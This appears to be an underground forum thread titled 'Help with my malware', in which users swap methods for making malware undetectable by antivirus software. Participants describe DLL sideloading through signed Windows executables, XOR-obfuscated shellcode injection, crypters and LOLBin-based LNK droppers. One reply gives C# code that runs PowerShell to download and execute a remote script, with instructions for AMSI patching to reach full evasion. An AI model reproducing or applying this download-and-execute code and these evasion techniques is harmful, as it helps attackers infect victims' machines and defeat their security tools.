Help with my malware

[DanteXDark]

Checkzilla scan is not enouph to know if its realy FUD or not because No internet connection , once you download the file it flaged it as malware that's mean the file is not FUD and detected at scantime , you need a FUD crypt to bypass this

dll sideloading/proxying is a good method to bypass AVs just need to be careful with the shellcode and injection method

 

[berlin]

.ink are dead too

nope. It's awesome if you use some different tricks

 

[Zaki]

nope. It's awesome if you use some different tricks

Most of them are dead
Not every

 

[Th30C0der]

dll sideloading/proxying is a good method to bypass AVs just need to be careful with the shellcode and injection method

i use my private method and its 0/19 for now at runtime and scantime

 

[DanteXDark]

i use my private method and its 0/19 for now at runtime and scantime

humm i use windows officially signed exes like runtimebroker.exe etc to load dlls and inject shellcode in process with xor enc and 1st byte change, i am using stageless shellcode 180kb shellcode though too big, can you suggest me more ways? again i am not asking for your privet method

 

[Th30C0der]

humm i use windows officially signed exes like runtimebroker.exe etc to load dlls and inject shellcode in process with xor enc and 1st byte change, i am using stageless shellcode 180kb shellcode though too big, can you suggest me more ways? again i am not asking for your privet method

Suggest yes offcourse , if you like to use Amsi bypass you can use powershell without powershell like same project here https://xss.pro/threads/75684/

 Runspace runspaceKhamisla = RunspaceFactory.CreateRunspace(RunspaceConfiguration.Create());

            runspaceKhamisla.Open();

            Pipeline pipeline = runspaceKhamisla.CreatePipeline();

            pipeline.Commands.AddScript("$ps1url = '';iex(New-Object Net.WebClient).DownloadString($ps1url)");

            pipeline.Invoke();

but this time compile it as dll and then use ildasm and edit the .il file and export the function manualy , then patch amsi here it will give you fud 100%

 

[vei]

LOLBAS

lolbas-project.github.io

try using different LOLBINs (living of land binaries) and find one that is recently added or found, and also add some obfuscation or more layers between your LNK and downloading your file.

i haven't taken a look at your lNK but from other replies, im assuming it's downloading the stub directly. try having it create a js/ps1 file instead where it can execute the download with more sophistication.